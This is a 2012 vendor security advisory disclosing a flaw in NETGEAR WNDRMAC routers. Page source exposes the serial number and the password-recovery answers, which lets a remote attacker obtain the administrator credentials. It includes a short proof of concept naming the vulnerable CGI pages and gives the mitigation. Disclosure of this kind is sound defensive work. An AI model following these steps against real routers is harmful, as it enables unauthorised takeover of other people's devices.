	Authorisation. Jason Edelstein
	Release date. 13 May 2012.

Sense of Security – Security Advisory – SOS-12-005.

NETGEAR WNDRMAC Exposure of Sensitive Information Vulnerability.

13 May 2012.

Sense of Security	Authorisation. Jason Edelstein
	Release date. 13 May 2012.

NETGEAR WNDRMAC Exposure of Sensitive Information - Security Advisory - SOS-12-005

Release Date.	13-May-2012
Last Update.	-
Vendor Notification Date.	06-Mar-2012
Product.	NETGEAR WNDRMAC
Platform.	Hardware
Affected versions.	1.0.0.22 and below
Severity Rating.	High
Impact.	Exposure of sensitive information
Attack Vector.	From remote without authentication
Solution Status.	Currently no software update; the vulnerable functionality can be disabled
CVE reference.	CVE - not yet assigned

Details.

The NETGEAR Wireless Extreme for Mac computer and PCs (WNDRMAC) is a N600 wireless dual-band gigabit router. The router discloses sensitive information in the page source, if a previous password recovery has been successfully completed, which allows an attacker to login to the device.

Proof of Concept.

Viewing the source code of the page you are presented with when you fail to login successfully with the administrator account exposes the routers serial number which is required to get to the recovery questions section.

```
http://x.x.x.x/unauth.cgi
<HTML><HEAD><LINK rel="stylesheet" href="/style/form.css">
<TITLE> 401 Authorization</TITLE>
```

```
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<script>
function loadvalue()
{
        var enable_recovery="1";
        var enter_sn_again="0";
       var last_error_sn="2T82195D0093D";
        if( enable_recovery == "1" )
```

Viewing the source code of the recovery questions page allows an attacker to view the answers to the password recovery questions. After submitting these answers you are presented with the current administrator credentials.

```
http://x.x.x.x/securityquestions.cgi
<HTML><HEAD>
<TITLE> Router Password Recovery</TITLE>
<META http-equiv=content-type content='text/html; charset=UTF-8'>
<LINK rel="stylesheet" href="/style/form.css">
<script>
var quest1_1="What was the name of the first NETGEAR product you purchased?";
var quest1_2="What was the name of the first school you attended?";
function loadvalue()
{
      var answer_again="1";
      var last_error_ans1="Answer one";
      var last_error_ans2="Answer two";
```

Solution.

Disable the password recovery option.

Discovered by.

Nathaniel Carew from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-005.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php